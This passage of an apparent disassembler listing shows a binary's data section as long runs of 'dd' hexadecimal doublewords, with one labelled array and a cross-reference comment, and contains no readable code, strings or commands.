6004895h dd 4BE275ACh, 254456EBh, 13D68CADh, 695C1301h, 0E4636439h dd 58AECB00h, 8ED5E68Bh, 0B5842400h, 5E88770Ah, 65870033h dd 479C2DCBh, 0EE341AD7h, 20CC395Dh, 11A83078h, 0AC6FD104h dd 0D7F1C507h, 15F3108h, 0DD2CB538h, 7300B076h, 943FCA56h dd 4300A598h, 61BE9960h, 621A84h, 3A55286Eh, 64E4B40Dh dd 127F7E00h, 0E4558CAh, 1CF90741h, 97059911h, 8C6BE030h dd 8600128Eh, 4DE23797h, 1DA789AFh, 7974D6h, 0FE2D5E43h dd 8E008FE0h, 0B1DE4299h, 879028h, 566C26AEh, 8F6138F2h dd 88B230D2h, 0D35EAB00h, 8602FBA6h, 56A24D00h, 94F16CE2h dd 0A0A450h, 0DC8837FFh, 0E77EC98Fh, 0AA7CCE06h, 0B4080692h dd 3C14784h, 0F6A8213Ch, 4D01E311h, 0A4621FBDh, 0F048EC1Ah dd 0BE540EE2h, 2C60C594h, 28990D12h, 507B090h, 5A5B9536h dd 39D984CEh, 887A80BCh, 4E01A8D7h, 93D425F2h, 306ABD90h dd 80FB2B2Ch, 8E244700h, 0ED34F7EAh, 0FC02005Eh, 75A136AFh dd 0A3E6A706h, 44822B50h, 0C7105600h, 495D6F74h, 82DD0399h dd 5F4DCAF1h, 0E1838C8h, 843B073Dh, 0EACF42AFh, 97005CF2h dd 2CD00A43h, 0DA1FD605h, 62009D0Eh, 32B1AC02h, 0A4BE0036h dd 8A4F924Ch, 7B1DAA1Eh, 9B03940Ah, 0B36ABA2Bh, 3CE0D841h dd 2F9E00B5h, 0F6C2EBACh, 3800BE5Dh, 0A81C14DDh, 0F0E91A9h dd 754812BFh, 84E46049h, 24D3220Bh, 77C8C82Bh, 1E0800B9h dd 0AB0A2085h, 789C70D6h, 0DC38404Fh, 3D8EDBADh, 32808A11h dd 6CF7DE59h, 0A173B785h, 0C2FCD204h, 0E8C98D79h, 0A28ECAC8h dd 7CB4C27Ch, 77C8E0E4h, 0AFE6F30Bh, 67F5631Dh, 0CA002C2Ch dd 0D75E9441h, 28149588h, 0E044544h, 0FDAC9FF6h, 0E6EF0032h dd 38B4B32Fh, 2A91FE1Dh, 0E2C376C0h, 97CBC8A5h, 0E5B94B0h dd 4ED03A25h, 8C7C1158h, 0C25A0060h, 0ABFCF31Ch, 0D05D4908h dd 0FB560B09h, 4E2D1844h, 245C90FAh, 8ABB0009h, 1434089Dh dd 700394EEh, 835866CCh, 0A75EE084h, 2C1FACDh, 0A876E3FEh dd 276021F1h, 57F8D99Fh, 74C40812h, 2234F4h, 0E6CB0CBBh dd 4BE8A488h, 16EF182Ch, 142EC39Fh, 14B2BC28h, 6EF1A612h dd 54F37213h, 33DF0D0Eh, 0BF00A0AFh, 2EB708E0h, 0AE59C40Bh dd 8E40806h, 175D1241h, 0F40C223Bh, 72091119h, 4E27004Ch dd 334BFF32h, 70091D56h, 625D42BEh, 28520698h, 18AF742Dh dd 9501BFF0h, 6F3D5CB0h, 5E26A304h, 0BCB8CCF7h, 62302D80h dd 100499Fh, 0F729F53Eh, 0B8880D8h, 0BD5F7DB1h, 4018E484h dd 0C97B3F49h, 35A500CDh, 0ED5D87DDh, 0D0E2FC52h, 28CB685Ah dd 44A4C820h, 0C640ECB6h, 36AD6Eh, 9C5DA515h, 0DDBFAE4Ah dd 8AE248h, 8CC37D06h, 0F0B4858Bh, 0EB8E010Dh, 0F26B324Dh dd 0DD137EC4h, 80D2F8B1h, 25A431C4h, 49E0B6FDh, 0D1B4A980h dd 8C000C78h, 0F00811ADh, 66127Eh, 0F74415EBh, 2FBCB20Bh dd 75C72100h, 0F856FADAh, 0A68D00C9h, 3CDB85B7h, 9F1294CBh dd 2009139Bh, 1D585A2Bh, 80C6DC7Ah, 6FB1BE2h, 32001AF0h dd 36B54468h, 4A89EBDDh dd 0EAB421B6h, 0E37EC0F0h, 0C42D307Fh, 88A865A9h, 94438A29h dd 446EA26Dh, 67662458h, 90860072h, 10059602h, 2CB9A903h dd 0C9F2C3B6h, 0E4DD7366h, 4C69AEC0h, 0B801487Dh, 0F2BDFB6Bh dd 0D099E15Fh, 10C1FF46h, 0A5B47A0Ch, 0C198272Fh, 212488ADh dd 885CF6C9h, 8AD73B05h, 0D044B4h, 0C35517ADh, 1523AE60h dd 0FD61A400h, 0F61A4D87h, 2F464191h, 840FC27h, 1D837ACh dd 39FF4451h, 0ADC942ADh, 0B7D86051h, 9B0F105Ch, 50273271h dd 2995064Eh, 1BC33Ch, 5CA733F1h, 37CB8593h, 4838B883h dd 5458C2A5h, 0C5BE104h, 2DE63078h, 0B14C1919h, 0E2148958h dd 5BCA01D4h, 71C44D55h, 0A17B8A86h, 38C05A7Ah, 0F51A6C75h dd 9189E9BEh, 86B9A79h, 818CBC94h, 0D16AFFF1h, 0FA89246Dh dd 0BC46D890h, 9E62F707h, 0AD98EA1Ah, 8A179C64h, 0CC003A8Ch dd 326A8819h, 0A65F00A8h, 8DA1DC9Dh, 0A300BCECh, 526455CBh dd 761AA91Bh, 6024A1F8h, 35D09810h, 0E0572C00h, 0F0BB9FACh dd 0EDE6C4h, 0E1FE5C0Bh, 7A031E33h, 0E86D8B2Dh, 0BE0F5DD0h dd 0AA9183F4h, 0C03915C2h, 0E0AD899Dh, 0C6E8900Dh, 0F376444Dh dd 16F07F48h, 1C88CD6Fh, 9B008695h, 0AE1C45A2h, 3AF183AAh dd 0BF00873Dh, 76B52B8Eh, 127C7222h, 97463500h, 0C213D984h dd 44CA27FBh, 56152860h, 0CF2F090h, 137C4780h, 0B2135CA9h dd 3EF804F4h, 0F8FC8C7Bh, 992A9E80h, 0BE4C9373h, 92F10028h dd 7662D977h, 0DC6F2525h, 6309CC5h, 4C3EE28h, 9A73AF2Ch dd 802CED71h, 0B6D4CF62h, 0FE0312B8h, 0F704212Fh, 0B8603E57h dd 0A4927B47h, 29651484h, 0F2238EEh, 384E000h, 0D909EAE6h dd 0A5D0115h, 70E880B9h, 0A4CED2D0h, 1BDC63Ah, 2C62818Ch dd 77F45AE2h, 949E3AE9h, 9579AC8Bh, 0F0408059h, 0E7526Ch dd 0E2F7607Eh, 0B2C58ADh, 6A4A73EAh, 16F7CDCh, 0FCA60A6Dh dd 285E4FACh, 9506A1A4h, 0FCB40840h, 0EB3F043Bh, 0ED17D759h dd 68C30420h, 9C8353CDh, 0D8894A81h, 0FE4AF8B4h, 0BC1094h dd 0F44C6480h, 0B80143DCh, 888B64Bh, 13F868DDh, 95484B8Ch dd 1C60A4FCh, 76ACB788h, 3EE777A2h, 1D7D92F7h, 401ED952h dd 36F4E48h, 0F10006B2h, 8C68561Ah, 0EF4239Fh, 6EE26ABBh dd 0B02D0347h, 0D554804Ch, 2E768FEAh, 0CAAC6000h, 0D99A6121h dd 2C9B00AEh, 652A4392h, 1A134F39h, 282871E9h, 46AB074Ch dd 30AC6192h, 671E9F7Bh, 27A52C00h, 34DB1ADDh, 0F14F00ADh dd 0A6834201h, 84785F2Dh, 6F4D8C07h, 9C217114h, 0FBD8DCF2h dd 6310C011h, 2B052D53h, 0A500C0A4h, 8CC82A16h, 16B33E6h dd 81DC38Eh, 24B88B7Dh, 0C89489ECh, 0C16D780h, 4EE4953Eh dd 0A0988858h, 0C8761C00h, 0D98F233h, 2CEA007Ch, 0DCADFA60h dd 5100CB2Fh, 14A7688Fh, 48C40556h, 0D8806073h, 0B7B62801h dd 896DD03Ah, 0D8459B1Ah, 384E4580h, 53A20B08h, 5CEC8266h dd 5B208BF9h, 80B4A94Ch, 0B13EDCEBh, 8C5FE7EFh, 44CE4488h dd 7B42D648h, 40001322h, 5BBEA5AEh, 31BEF8Eh, 0C9B09DC2h dd 0B6248983h, 0BF80E8C5h, 8B7B301Dh, 4494A424h, 77058154h dd 61389F5Ch, 1721A808h, 3A64E340h, 4FE4054Ch, 3C80A8A0h dd 58C274F7h, 118868CBh, 32444A5h, 94CCB353h, 47A82ECAh dd 0F201E5B9h, 7C6D5BC8h, 61B9908Bh, 3E4C997Ah, 6434942Ch dd 518720CAh, 21CF316Fh, 0E127CB11h, 7C1041E1h, 6584338Eh dd 0AC824DB0h, 9049026Dh, 0C4A00809h, 0D864F364h, 0D48AAD7Ch dd 0EDB46420h, 0B9007774h, 4A899B82h, 4A4C66F1h, 84072E2h dd 0C042CC4h, 268DD08Fh, 0FA8050E8h, 0F6D679E9h, 2D01CB00h dd 30D77758h, 141B39B2h, 58F2A80h, 475545A0h, 694F7D01h dd 7722F254h, 9AABF4h, 3F07B78Ch, 0CF6EE782h, 0D420D54Ah dd 5CB45AA8h, 4C0788D9h, 0CF9C0895h, 9E390A00h, 0D0265D5Ch dd 0E9B460h, 0CD919F00h, 0E22201F5h, 8253CF4Eh, 0B697F0A5h dd 0EE04E7F0h, 12613CCAh, 100F8B2h, 6BB3EC4Ah, 0F71C6231h dd 3AC27AF4h, 5A35B4EDh, 0FFC92680h, 60104A94h, 3583B3Ah dd 0AF6E2E00h, 0F929DAEAh, 0DCE509E8h, 0E4180D97h, 260113A7h dd 4FC67C2h, 123E1F5Fh, 98C496BCh, 6F459600h, 0C3764B10h dd 444A00CCh, 30C61509h, 2C3ECB9Bh, 85040FB3h, 2DB1803Ah dd 1D032DDh, 13B2FD59h, 6322E0ACh, 75B41A3Ch, 8E8054A9h dd 88934FF5h, 0F00341Ch, 0C261C610h, 0B7C4CCh, 0C7278AA8h dd 26ED11CBh, 97432E0Fh, 967CC272h, 0F250A075h, 1A601D46h dd 51DF1ABBh, 94CB4C40h, 0CAA6F43Eh, 4A7974C0h, 45C1CB3h dd 0F25D12DEh, 0EEBF1AC0h, 0F1F87490h, 43B84CA7h, 0F49EBD00h dd 87E729C0h, 9FA90CD3h, 0F1213E48h, 0CD660D1Dh, 0B54662C0h dd 0C26835E0h, 0EB1AA211h, 8C84C892h, 0FD274309h, 6A68D9D6h dd 2042F052h, 24F4347Bh, 13F1B00h, 2262C94Bh, 0E5EAD5h dd 9D60F8B6h, 9213907h, 648C8900h, 52F7BA99h, 0C1575AE2h dd 0F84C8E90h, 5000C64Eh, 9E379446h, 0C92B71h, 0AF6F360Eh dd 9A7C6B78h, 0F75EA009h, 985A73h, 83D957DFh, 7E756421h dd 0CD239600h, 35C70F70h, 0D1D0020Bh, 7D48F93Eh, 0FF8B1C5Ch dd 7CC4CCh, 84FECF3Dh, 0F8CB9DA0h, 2C41102h, 0FE2BFD04h dd 6A058040h, 813DD612h, 0E374CD00h, 3CD43043h, 18ECFDBEh dd 981C04A9h, 0C3850279h, 5C907834h, 5F07CC7Dh, 2F6BB08Fh dd 50131A07h, 0FEB809A2h, 287BA13Eh, 306C8C9Ch, 0CAB8D443h dd 5E34C8FEh, 1A37133Dh, 823024ECh, 0ED110D74h, 8D428D2h dd 27133C1Ch, 324B4830h, 0D0C40148h, 0DBAD5A7Fh, 15847042h dd 0A565C705h, 0B4F8A677h, 0F6B0404Ch, 15001F1Ch, 423BE79h dd 0EE8FBD6h, 0B1FF1006h, 6FE9A46Ch, 1C74A780h, 0FDC68256h dd 0D8BA9B00h, 8CD72763h, 20946600h, 236AF7A0h, 80D8B126h dd 10874236h, 0B4FA8417h, 6629591Dh, 0F6C0AC02h, 11D45660h dd 5E2781FCh, 0FC21A6FDh, 7D804C2Ch, 185B3C56h, 0F3DF3202h dd 0F8CD2F9Ch, 98BCE4h, 4DE6ECBFh, 6BE76C95h, 0CB73C30h dd 96980FFBh, 1447B679h, 58D27075h, 0BE7001BCh, 1A1F4D09h dd 27465EEh, 7080A406h, 223A0E60h, 36122002h, 0D677738Eh dd 42C004E4h, 87ACFCCFh, 18CBF41Ah, 1AF32C50h, 98416F06h dd 64F6EC02h, 0CCC5C24h, 0CEEC0CC4h, 7C28992Bh, 49608933h dd 0C056A059h, 0EB642509h, 4F008C4Ch, 1C0C3A29h, 29E47E1Ah dd 603140h, 6FC413DBh, 5D016561h, 0FE40A1A8h, 0B4C369C9h dd 635AA090h dword_4F0044 dd 4E9024E1h, 40734430h, 519F308Ch, 697D001Dh, 5E1F1A88h ; DATA XREF: ___:0042CC8Co dd 0E00BE71h, 21D599DEh, 13C2E2F9h, 41F207F4h, 7C641770h dd 0A7F02892h, 59B7EBE0h, 0CBEA03B8h, 0A61A2E20h, 9022C6DBh dd 748397C5h, 4811AB57h, 0B4727391h, 0C40A6074h, 0B89AB5CEh dd 26B2EC13h, 0E3A0BC40h, 78FD5A1Eh, 89924EC2h, 3626F0B8h dd 0DA01D7F6h, 3A90A08Ch, 60491FA8h, 20498002h, 0BE11EAA3h dd 67FA7B06h, 1360DB7Dh, 0A4F6C188h, 0D21FB5C8h, 0AB0C7B45h dd 4EEDC8C2h, 0AC689C49h, 4721FF0Ah, 10009EC1h, 2CD75E19h dd 83B0E9h, 0A7A3C901h, 29AF05ADh, 0F12048C2h, 0F4890570h dd 44E0FB8Ch, 5D96B104h, 0CC0D84Fh, 4B55FF70h, 3C8C2091h dd 8F00E1C3h, 0B081EDEAh, 4804D6ECh, 470F2C2Fh, 0D3E540FFh dd 0D8F2C0h, 29FD7CBh, 90A614F1h, 0BEA70237h, 7CB906D1h dd 0B501E3h, 2BB39398h, 3E586B17h, 2B0845E4h, 0C6485800h dd 4CC192DFh, 0C54ED00Dh, 0F740458h, 73774022h, 7D24E33h dd 9844BE29h, 1A93309Ch, 0FF07D674h, 91560AADh, 191CECC7h dd 8E3C3C70h, 0EB404D80h, 48FB10EAh, 38D2DB2Eh, 0A3D6ED00h dd 14D6947h, 92040103h, 70AB7636h, 210509BCh, 0F34F3B54h dd 0E5D4B080h, 1820B03Dh, 407C4ABDh, 0F1F8FEh, 60879812h dd 1C571849h, 7418B411h, 2DA82A38h, 171540D8h, 0BCA06277h dd 0B9009DFFh, 1C4B4047h, 15FB44Fh, 0AA579492h, 900B51C8h dd 191042E8h, 2E418297h, 95582255h, 0CD20401Ch, 107AC022h dd 46B1241h, 7D5F14CBh, 2700A67Ch, 8CF29A2Dh, 0BA1E6B7h dd 0EF09F82Ch, 346E04E0h, 0BCC23B17h, 0E4BD7412h, 0E215AEC3h dd 0C4BCC983h, 0C0108774h, 48104AE5h, 50935D24h, 6301EC28h dd 2CD02FD7h, 2C3C6CFFh, 0A7CEE902h, 0AC85736Dh, 933A80E8h dd 1F135B0Dh, 8C095FA9h, 8098Fh, 0B3473B8Ch, 0BB20A79Dh dd 6117EAA3h, 0EAC7F0C8h, 97DD17BAh, 73E802D8h, 3CDCF31Ah dd 0E4D8D645h, 0C8EB5C5Ch, 0E42A59C5h, 1700E798h, 982D50D6h dd 0FE2C5CAFh, 0C310A8FCh, 0FA4F0099h, 0E2AC24BDh, 164C4A52h dd 0C0A058E8h, 0C049FCBCh, 4FB80054h, 2C4024BAh, 8F397E11h dd 0D0B29D88h, 1140D00h, 3FF1D2DCh, 686AC3Ch, 1017FFD3h dd 51B02404h, 7CED74A0h, 9CDE2E07h, 578AB3ECh, 0EDE8D917h dd 9B9EB400h, 27AD231Ch, 0B4E4CE64h, 6CDDA50Eh, 0FE61CB5Bh dd 9A950180h, 0F484B41Bh, 1C00BB71h, 0A6A793B5h, 50C628Ch dd 5CFDCBD3h, 95C504h, 4D759A53h, 925396F1h, 0CA4800B8h dd 0F4AABA4Bh, 5CD77E94h, 0F124F88Eh, 845C0E34h, 0E7825982h dd 0A23928DEh, 87960CA4h, 0EA49B729h, 7A00EB7Ah, 4C243C1h dd 738D1F9h, 30779A9Bh, 5A7B5018h, 6380EF29h, 0DF53004Ah dd 0F6AF42FCh, 9F006AE3h, 67503117h, 241BFB12h, 0F594C18h dd 9B805504h, 0CC794A86h, 0BC0411D0h, 245D1FE9h, 6ED03CAh dd 8F4FF9h, 32406F77h, 23735300h, 0CAE9EA42h, 4A106A2h dd 29F7EFF0h, 0DF9E10FDh, 5B930013h, 19176083h, 0B02CBCE8h dd 4B03DAB6h, 0D17A2D54h, 0C07FB7E0h, 0F6134941h, 59614A00h dd 0B9BDC558h, 206400BFh, 40424423h, 6D38EBD2h, 33D98EC1h dd 0C0B520D0h, 0DAC5B3h, 0DBBF3C27h, 0C77EA48Eh, 283F6F01h dd 130534Ch, 7BBDA6E0h, 0E65B0F54h, 85E09594h, 26B07C70h dd 0E2FBBF00h, 0D0AD6611h, 1C00544h, 18F36E79h, 233410C7h dd 9D9C3800h, 99FFE06Bh, 8A790089h, 4C533195h, 28E44036h dd 0B721D800h, 9606643Ch, 0F96B003Ah, 5FD9A50h, 0B0A04E04h dd 0A1E2846Eh, 6E554Ch, 52D11FD6h, 0E64A0412h, 0CBB50E8Bh dd 9580C1D2h, 513921F1h, 0A20B3703h, 0A897D377h, 53655Eh dd 0D79098A3h, 0ADAAD530h, 0A762603h, 0AB64DB57h, 6BA4D805h dd 0E9713Ch, 0EE75FD29h, 0AB7158BDh, 903ECB00h, 7B67572Ah dd 666A17F1h, 0D81400DDh, 0FBA2E4DFh, 9322EF3Dh, 7E00DAAAh dd 3754B315h, 365A01B7h, 1D89B044h, 3A14201Eh, 15DD3900h dd 0F1B7ACA1h, 5823002Dh, 0EE6F97CFh, 0CA00EAB0h, 5904878Dh dd 3D747F3Ah, 0BE80FB33h, 270BB4AAh, 30004F4Eh, 0E0CAEF85h dd 22CF9Ch, 74ACB9Ah, 0F4E91042h, 0FA85E300h, 8619052h dd 0EFD5171Dh, 177400C6h, 0C0395449h, 0AF5F4C03h, 0E86381E4h dd 0F096C267h, 0C247745h, 19C5A755h, 0D20E4828h, 303E250h dd 823A8Fh, 3C09BE30h, 21D0E8CFh, 3E685818h, 4826168h dd 1976EEF7h, 7D73001Ah, 5C2E7C9h, 0A11B290Eh, 1FC90ADAh dd 0D1D20088h, 24252266h, 86007CE0h, 105C9F7Ah, 385BE1h dd 12186242h, 0F7C7D77Dh, 619BEB00h, 1B52539Fh, 0D6B60386h dd 7111A5D8h, 57346388h, 0F22440h, 0A4E607D0h, 0E0FE0B1Ch dd 63304700h, 294B9C67h, 257701BCh, 0C769080h, 0D2E6E42Bh dd 0E39910C0h, 2AABBF3h, 95FDB1D3h, 48414B39h, 322CD093h dd 0B4AD6C00h, 0D82A7275h, 7B7403FEh, 773B698Fh, 0BC1787B0h dd 7FB46700h, 0C973CB3Fh, 3A21005Eh, 0B183FBEEh, 8090F2F5h dd 757F7902h, 0D7321DCCh, 0BB91E680h, 0D13F982Fh, 1AE000D0h dd 0C0416B49h, 701303DBh, 0BFB7C786h, 84AEDF88h, 0B1FD9906h dd 4A0589Dh, 0A0EAE99Ah, 237880D9h, 1B1D25B7h, 67897601h dd 0C9190078h, 5AF58Eh, 7E271126h, 9F526F8Ch, 0D2425Ch dd 0F37BB261h, 775534h, 455B372Eh, 0EDDFC03Fh, 2CE65430h dd 1BCD67h, 0FDAE61AFh, 5850ABF9h, 54910200h, 0CF798C57h dd 0A4CD3DF6h, 0E85A007Fh, 0A8EE7E2Fh, 8B029145h, 4678AECAh dd 74A46001h, 0E8240048h, 4C39572Dh, 33F69B22h, 14BE0216h dd 6E889A00h, 0E6CA03Ch, 8DDB320Ch, 0CB532A83h, 875809D8h dd 468BC903h, 0A8696E44h, 7DD6FDDEh, 850D01A8h, 0DC24A784h dd 863EFC21h, 97407400h, 23D8F790h, 42680746h, 4058E1C0h dd 0B5C59371h, 0D3D13Eh, 31D1B24h, 12C966E4h, 82FC568Dh dd 0B8A05798h, 72E8380Eh, 0D38239h, 1A6D224Eh, 8C62Ch dd 0A56805BEh, 9CF35398h, 6F434100h, 0CA9DC92Ah, 0FC4E00E1h dd 0D7AF6535h, 0CB00FA80h, 7F909F7Bh, 15D2AC5h, 0EC28458Fh dd 0D83E5A30h, 5B4D5F27h, 97B0EF8h, 8D368AEBh, 2C494B00h dd 7AD4C1h, 0FD7FB285h, 0B783F721h, 2108660h, 7151DDFFh dd 0B9C10064h, 0D21DC679h, 803808Fh, 0B15A8A39h, 1112F0E5h dd 2090DCh, 9617A753h, 300C488Dh, 29F78600h, 72B725Ch dd 798A3h, 0EF9C6965h, 7321D903h, 816D0800h, 8B4CC6C1h dd 0A3420679h, 20044AD2h, 7DE1CE00h, 2546716Ch, 579703E2h dd 0D0936E73h, 1EBACDB8h, 0B0282B2Ch, 67095D81h, 47E80D27h dd 0E4D1A03Dh, 28750037h, 0F39EAAF6h, 3A249F24h, 1D00DC4Ah dd 8217EB38h, 73F80151h, 930E8C0Ch, 0FD4430B9h, 0C2F60D00h dd 575882D7h, 3149007Ch, 908516F8h, 0B000DC75h, 6BD0DFEEh dd 1EF11584h, 80EB9F4Bh, 0D1F034D5h, 1E000486h, 0BC5D5560h dd 781ADFAh, 0D8B4659Eh, 0D6BD2F6Ch, 88D00BB5h, 0B673A600h dd 16004070h, 99A6A218h, 0BA437B32h, 0EC833820h, 0C61C2476h dd 9D6986BCh, 53006CD6h, 0B1AB450Dh, 4CAE1A05h, 91008F14h dd 6EDA4676h, 0BA038FD6h, 0A4B0332Bh, 50A5EA0Ch, 66B900FFh dd 46E74DF1h, 0CF091A0Eh, 0A08A4CFBh, 23CE0460h, 0FCC707F1h dd 0EEC9083Dh, 14905480h, 34F0CC32h, 122F10C4h, 0FA07244Fh dd 2A1EE06Ch, 9800EA6Eh, 0A250769Fh, 9CF1555h, 0F6EB7414h dd 1F08E85h, 103DD034h dd 8260BD83h, 1598DD19h, 91BE81A8h, 0F4D099E0h, 1A170E81h dd 35A0C190h, 6B295075h, 12837358h, 44CEDDBh, 79AC06Dh dd 32F4A8DDh, 98F540DFh, 0C4B945ADh, 8F865A0Bh, 805E8BB0h dd 406995A4h, 19B7F6Eh, 1F876531h, 7028E362h, 8C7B03C8h dd 0BC2DAB00h, 7F4BDCCFh, 0CEE904A9h, 8056BD48h, 0A62003ECh dd 4D05F0Bh, 4F46801Bh, 40E664h, 94639522h, 6FE398DFh dd 0CA0B1102h, 0E01BF44Dh, 0F22B4E7Ah, 0F5500065h, 59BA2C84h dd 0FD2C1F78h, 33018CC2h, 0DE12D609h, 44F620h, 67689611h dd 60A5E5F7h, 8405F977h, 46E92EF8h, 7BF5A840h, 0CAF9C78h dd 69C8DB1Dh, 0D401A619h, 1B21AD54h, 6231026Fh, 890DDD3h dd 3024A28Ah, 54BC4716h, 8F03EF69h, 637EFF77h, 0AC1801C5h dd 27D5DF70h, 0A767F0EAh, 500091F0h, 48CBF01Ah, 15E9E7B1h dd 0C8FCA424h, 8AC57701h, 0C54AF5B3h, 973DE001h, 6F1613Ch dd 516DDAD8h, 35750C28h, 0A2184CC3h, 49640A10h, 0ABF3CC00h dd 36E60A6h, 0CDF01B00h, 4BC3E2CBh, 9B32034Fh, 0C0577BD0h dd 0A79EA001h, 0EBA41A01h, 0CAAA8183h, 5802454Bh, 3FA079D9h dd 3A5840DAh, 18376707h, 7BEA10A4h, 0CB1E1B26h, 0E447A691h dd 77802258h, 973D7F4h, 57CC54D3h, 0BE90C82Ch, 101A1C22h dd 8F5028F3h, 3FA0893h, 27C5B298h, 6183C800h, 13357720h dd 0B474A72Eh, 66747159h, 4770DC8Dh, 0C90A4C92h, 0CCF2A8CBh dd 1ED9789Dh, 0B1706E18h, 594860D4h, 4DEDFE4h, 0B090C975h dd 3E0C811Dh, 0C1215918h, 8DE3BE7h, 0F1957C80h, 0D0B4A0FCh dd 75800150h, 1BFCD3Ah, 0DA3D4AF3h, 0C451E570h, 0A824C84Ch dd 0F230921Dh, 70770712h, 0B08B0B8Ah, 2B4866FDh, 0B97EEC7Dh dd 0B2ACAB14h, 0F8378C8h, 0E4A30481h, 34D73A63h, 831A183Bh dd 0B454FEA2h, 0D5891868h, 67AE314Fh, 57ACA34Ah, 0BF106501h dd 0F9423D2Ah, 0FFEE60ECh, 0D0D49E3Dh, 8900A68Ch, 0C5F93BF0h dd 0F479AE59h, 0FF9C007Ah, 1397E07Bh, 0EE65E9Bh, 0D977C503h dd 0B8757C58h, 0F474934Fh, 5DEAE3h, 0A54AE470h, 0CA4EF082h dd 7CE65E3Ah, 2C3CDD00h, 0A89E9886h, 0FE361CA2h, 5BD30007h dd 0CC625E63h, 1DB3C200h, 0C10EF4Bh, 334E00AFh, 5C9E4C87h dd 0FF00D950h, 987BB179h, 5AA4C9h, 0E5C473C2h, 6FDD5637h dd 0F200C9B8h, 58546675h, 0ED45A6h, 2E52ECCEh, 8B710882h dd 90346200h, 13510964h, 0B6961FADh, 0E4241C5Ch, 0BE700076h dd 1F438802h, 600AD900h, 0F91A8DA3h, 0A6E45Eh, 225BBA40h dd 313D8564h, 45F67B17h, 3CD1C602h, 0EC40D50Eh, 0F3004973h dd 5B77E0CCh, 6DF26Ch, 620DCD05h, 2665BDC7h, 0C6035DE0h dd 0AFA8B2DBh, 0FF0F88D0h, 3FFE004Bh, 0FC9AED03h, 7EE4F8A9h dd 815EC73Bh, 623B2479h, 90F36ED0h, 8F2D9Fh, 0F6E09608h dd 1E81294Dh, 0C6FAE700h, 0B965DADFh, 87C4009Dh, 0AE99C557h dd 8D015408h, 23C2D93Eh, 0B220435Bh, 15AA00CEh, 0A16E8995h dd 0D100C8A5h, 0D77D8F56h, 3C0B1D3Ch, 0D602389Eh, 4D5B0580h dd 40E2F485h, 48B34BACh, 5100AA34h, 530C7580h, 187B791Bh dd 50CD19BCh, 0B2006F84h, 6CF662CFh, 0BFF067h, 683C6659h dd 0DBE09044h, 0A947200h, 2FA68E4Fh, 14A41CABh, 0E45C5C06h dd 0ECB6802Ch, 0B099CFC6h, 0C71C7400h, 241B16B3h, 322807D3h dd 13BCDD8Ch, 9CF8402Ah, 120062E4h, 0DB7DC493h, 1A2A473h dd 0BDA953BBh, 0F8EA52C2h, 0DE3C0550h, 6C3403E3h, 0EFB36731h dd 6C52980h, 0C00D24AAh, 9BAE0008h, 2294F56Ah, 9AA14F00h dd 53612759h, 0C3F10042h, 5F96E1A0h, 0EA053952h, 287E86BDh dd 80621CEEh, 6AF604EEh, 9D00E685h, 20B2683Dh, 0E0EF2Ch dd 0AB93469Fh, 5CC8F5C1h, 7DA75207h, 8000C509h, 3F27769Ch dd 8D01F3B8h, 6F024CE0h, 0F27EC478h, 3983A503h, 0E8313B59h dd 72AC66ABh, 0F37A006Ah, 15FA05CEh, 70C9DAD5h, 0D3458057h dd 5B98D34h, 76811FF3h, 0FAD000CCh, 91C60949h, 0DF73250Bh dd 0FEFA802Fh, 74EFB357h, 0D5290A18h, 84E0E6DEh, 80E4B2E8h dd 3BE0CFECh, 2264E703h, 0F8F1C1F2h, 34A3D76h, 0DEC2F909h dd 35C90AB0h, 0A8542022h, 0B8FC1700h, 70544B68h, 0FDF6307Ah dd 0EABA8E2Eh, 7C522D0Eh, 0C8C3E0CFh, 3ECE253h, 4F717A28h dd 80E777D5h, 0CB574E21h, 0F8E1B201h, 70226DBEh, 442B9080h dd 0D20114EBh, 1C06E200h, 3AA893DFh, 3459486Ah, 8E5CDD0Ah dd 1ACC00A6h, 18DE920Fh, 0AE458C00h, 38F45473h, 88392648h dd 0E77F8054h, 0F897EC1Eh, 0FA4C1200h, 73A7D95Eh, 0C4BD79EEh dd 40622280h, 15E8439Ch, 0B3E1394Ah, 0F54FB580h, 3ADA0212h dd 0F70EB800h, 0D8A95D27h, 9AD500FFh, 4F2BF07Bh, 0BA00B487h dd 0C81A6B47h, 39F8E3Bh, 4637398Dh, 99A860D5h, 2C3FF867h dd 295A0007h, 0E3898C83h, 9D78039Ah, 425125A8h, 4975FAB8h dd 16E6EF00h, 738FC06Ch, 2F740185h, 0D5FEDFD8h, 6905202Ah dd 88839506h, 240775Bh, 97CCB5ABh, 80D586A9h, 6B522BE0h dd 37EB00B4h, 1A8C4D5Ch, 4704F116h, 3D388FBh, 0CB0383EBh dd 0BB5E0590h, 0C5DA6700h, 0B072BA65h, 6F0C0ED6h, 24C01D60h dd 576CFCC2h, 0CFC0DD60h, 24281621h, 24DB6Eh, 0E3B94162h dd 0D900CA0Ah, 942968CBh, 9A4CCF2h, 8E1636C6h, 0B5F3B400h dd 0A002553h, 6A5E2D32h, 0E67E6665h, 6D470E40h, 78A08B6Fh dd 0F93518A1h, 0A2535800h, 8279E7F7h, 0B8F21823h, 273BF008h dd 9BEF9C02h, 6048A483h, 2FDE1D8h, 24AD67A2h, 3C680FBBh dd 0FF38E556h, 0D18B806Ch, 0B8D5D76Ah, 7764003Ah, 0BB48A5F0h dd 8000567Dh, 22D131FBh, 63A992h, 0DEF9DFD0h, 0BA2EB055h dd 80218F3Bh, 1C0E65D8h, 917235h, 0A3DA33CDh, 8C76631Fh dd 0AA9D7A13h, 86A300EEh, 0C6D2D020h, 0E5BD89C0h, 0A0412h dd 8881DFB9h, 1E09B75Ah, 0F5836900h, 2D5F15FEh, 0B0E0C0F9h dd 900F03BBh, 0B9F69400h, 8CCC5D81h, 0AF5900C7h, 0B43B2933h dd 0CF00A389h, 3A04FDA0h, 0F9D991Bh, 98D251C6h, 9302F3A0h dd 260094C0h, 34697C72h, 204A085h, 2CDE9B3Fh, 25E0808Fh dd 0D3001759h, 9EEB48BDh, 0EEB612h, 0C6CB8391h, 4ADD4552h dd 0A0E8CE00h, 0E20EF28Ch, 32C83A81h, 53B79180h, 0DE2BECC2h dd 47490F00h, 154EFB1Ch, 0F9770372h, 45C1E3E8h, 418BA3C0h dd 8423793Eh, 5E5A7E52h, 0F05D00ABh, 259047D1h, 0E822D800h dd 3DF557C7h, 0AC560F03h, 7C40B499h, 0BF1E3C1Dh, 755C4C98h dd 73BC00DFh, 422A82FAh, 8C70D9h, 0DE7BBA15h, 0BE9BA756h dd 0FC2D6E01h, 43A4EC1Bh, 0C190B2D3h, 1AC46460h, 1BAE41Fh dd 0FF221913h, 20F7562Bh, 8D017068h, 7FB9A914h, 0B434911Fh dd 